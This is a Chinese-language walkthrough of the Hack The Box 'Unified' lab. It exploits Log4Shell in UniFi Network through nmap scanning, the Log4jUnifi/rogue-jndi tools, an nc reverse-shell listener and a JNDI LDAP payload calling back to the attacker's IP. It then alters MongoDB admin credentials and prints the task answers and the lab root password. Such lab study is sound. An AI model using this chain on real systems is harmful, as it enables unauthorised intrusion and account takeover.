Hackthebox 靶機Unified詳細攻略


目標:Unified

作者使用Kali Linux作為滲透測試平台,在Kali Linux上首先通過openvpn建立與Hackthebox網站的VPN連接,得到目標Unified實例的IP地址:

# openvpn starting_point_jasonhuawen.ovpn

 

Task 1

What ports are open?

思路:此題再簡單不過了,直接用掃描神器對目標進行掃描,即可得到開放的端口列表。

 

# nmap -sS 10.129.232.197

 
 

答案:22,6789,8080,8443

 

Task 2

Name of the software that is running on the highest port?

思路:從前面的掃描結果知道,該目標運行有web應用而且是https的,端口為8443,自然而然,通過瀏覽器訪問https:// 10.129.232.197,似乎是一個網絡設備的管理頁面,根據提示,頁面的title即為答案。

答案:UniFi Network

 

Task 3

What is the version of the software that is running?

思路:頁面里就有此題的答案。

答案:6.4.54

 

Task 4

What is the CVE for the identified vulnerability?

思路:根據UniFi Network以及其版本的信息在google查找相應的CVE漏洞即可得到本題的答案。

答案:CVE-2021-44228

 

Task 5

What is the version of Maven that we installed?

思路:

在kali linux上安裝maven

#apt-get install maven $ git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package  

安裝完成以后 用mvn -v即可得到版本信息, “Apache Maven 3.6.3”

答案:3.6.3

 

Task 6

What protocol does JDNI leverage in the injection?             

答案:LDAP

 

Task 7

What tool do we use to intercept the traffic, indicating the attack was successful?      

答案:tcpdump

 

Task 8

What port do we need to inspect intercepted traffic for?

答案:389

 

Task 9

What port is the MongoDB service running on?

思路:

此后所有的題目都是基於需要拿到目標的shell,而拿到shell的方法是利用CVE漏洞CVE-2021-44228,拿到shell以后,以下為拿到shell的過程:

第一步:根據下述步驟在Kali Linux安裝docker

#apt update
#curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add –
#echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' |
#sudo tee /etc/apt/sources.list.d/docker.list
#apt update
#apt remove docker docker-engine docker.io
#apt install docker-ce -y
#systemctl start docker
#systemctl enable docker

 

第二步:CVE-2021-44228漏洞利用

執行下述命令在kali Linux安裝JDK以及maven.

#apt update && apt install openjdk-11-jre maven

#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt

#mvn package -f utils/rogue-jndi/

 

下載並制作Docker Log4jUnifi鏡像:

 
        
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .

 

此時在Kali Linux 上用openVPN連接上Hackthebox,啟動Unified實例,然后在kali Linux用nc啟動監聽:

# nc -nlvp 1234 -s 10.10.14.165

 
        
#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.254.73:8443 -i 10.10.14.165 -p 1234
 
        
 

輸出:

{"username": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "strict":true}

此時表明已經成功拿到目標的shell,在目標各個目錄搜尋,查找與數據庫服務相關的配置文件,在文件中/usr/lib/unifi/data/system.properties找到mongodb的端口unifi.db.port=27117

答案:27117

 

Task 10

What is the default database name for UniFi applications?

思路:

從Task 9已經知道數據庫服務的端口,因此在目標本地連接mongodb數據庫:

#mongodb --port 27117

#show dbs

ace       0.002GB

ace_stat  0.000GB

admin     0.000GB

config    0.000GB

local     0.000GB

 

答案:ace

 

Task 11

What is the function we use to enumerate users within the database in MongoDB?

答案:db.admin.find()

 

Task 12

What is the function to add data to the database in MongoDB?

答案:db.admin.insert()

 

Task 13

What is the function we use to update users within the database in MongoDB?

答案:db.admin.update()

 

Task 14

What is the password for the root user?

思路:

通過在數據庫用db.admin.update()方法更改administrator的密碼為我們自己設置的密碼,但是實話實說我用mkpasswd創建的hash值,發現登陸有問題,即使指定salt值,雖然產生固定的hash值,但是與目標的hash值仍不明白(百思不得其解)。

通過修改administrator以及我們自己設置的密碼成功登陸目標的web管理界面后,找到一些信息,包括用於ssh遠程訪問的用戶名(root)以及密碼。

 

 

答案:NotACrackablePassword4U2022

然后用該密碼SSH登陸目標,即可得到root的Flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM